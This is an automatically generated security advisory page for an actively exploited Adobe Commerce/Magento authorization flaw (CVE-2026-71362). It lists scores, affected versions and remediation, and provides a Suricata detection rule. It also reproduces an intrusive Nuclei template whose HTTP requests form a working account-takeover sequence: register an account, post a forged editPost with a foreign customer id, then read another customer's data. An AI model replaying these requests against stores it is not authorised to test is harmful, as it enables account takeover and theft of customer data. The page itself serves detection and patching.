CVE-2026-71362: Adobe Commerce and Magento Incorrect Authorization Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-11 15:49 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction.

Description quoted from the CVE record (assigned by adobe, published 2026-08-11).

Weakness: Incorrect Authorization (CWE-863)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-09-24
US federal deadline
2026-09-27
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template and 7 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 14 references on Exploit Observer

Live scores

EPSS
0.917
very likely to be attacked soon
VEDAS
0.988
strong exploit evidence
On CISA KEV
Yes, since 2026-09-24
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1Added to CISA KEV 2026-09-24CVE-2026-71362 EPSS over time2026-082026-11-11
VEDAS (exploit evidence)
100.5Added to CISA KEV 2026-09-24CVE-2026-71362 VEDAS over time2026-082026-11-11

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 34 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
Adobe Commerceup to and including 2.4.9-2026-jul, 2.4.8-2026-aug, 2.4.7-2026-aug, 2.4.6-2026-aug, 2.4.5-2026-aug, 2.4.4-2026-aug2.4.9-2026-aug, 2.4.8-2026-aug, 2.4.7-2026-aug, 2.4.6-2026-aug, 2.4.5-2026-aug, 2.4.4-2026-aug is not affected
Adobe Commerce B2Bup to and including 1.5.3-2026-jul, 1.5.2-2026-jul, 1.4.2-2026-jul, 1.3.4-2026-jul, 1.3.3-2026-jul1.5.3-2026-aug, 1.5.2-2026-aug, 1.4.2-2026-aug, 1.3.4-2026-aug, 1.3.3-2026-aug is not affected
Adobe Magento Open Sourceup to and including 2.4.9-2026-jul, 2.4.8-2026-jul, 2.4.7-2026-jul, 2.4.6-2026-jul2.4.9-2026-aug, 2.4.8-2026-aug, 2.4.7-2026-aug, 2.4.6-2026-aug is not affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Magento - Authorization Bypass

Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources.

Name and description quoted from the template, written by VEDAS.

The template sends 8 requests (GET /customer/account/create, POST /customer/account/createPost, GET /customer/account/edit, POST /customer/account/editPost and 4 more); it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-71362.yaml
Show the template (179 lines)
yaml
id: CVE-2026-71362

info:
  name: "Magento - Authorization Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege
    escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-71362&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=magento&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-71362
    cwe-id: CWE-863
  metadata:
    verified: false
  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev,kev
variables:
  rnd: "{{rand_int(100000, 999999)}}"
  email: "poctest{{rnd}}@poctest.invalid"
  password: "PoCPwd#{{rnd}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /customer/account/create HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "form_key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/createPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/create

        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "PoCTestCVE")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/editPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/edit

        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!contains(body, "PoCTestCVE")'
          - 'regex("\"firstname\":\"[A-Za-z0-9]", body)'
        condition: and

    extractors:
      - type: regex
        name: victim_firstname
        group: 1
        regex:
          - '"firstname":"([^"]+)"'

CVE-2026-71362.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-71362 Magento - Authorization Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-71362 Magento - Authorization Bypass"; flow:established,to_server; http.uri; content:"/customer/section/load"; nocase; content:"force_new_section_timestamp="; nocase; fast_pattern; content:"sections="; nocase; classtype:web-application-attack; reference:cve,CVE-2026-71362; reference:url,https://www.exploit.observer/?keyword=CVE-2026-71362&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=magento&match=exact; sid:1010260; rev:1;)

CVE-2026-71362.rules on GitHub

References

Vendor advisories and patches

Government sources

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

Feasible SecurityAskealGoTrust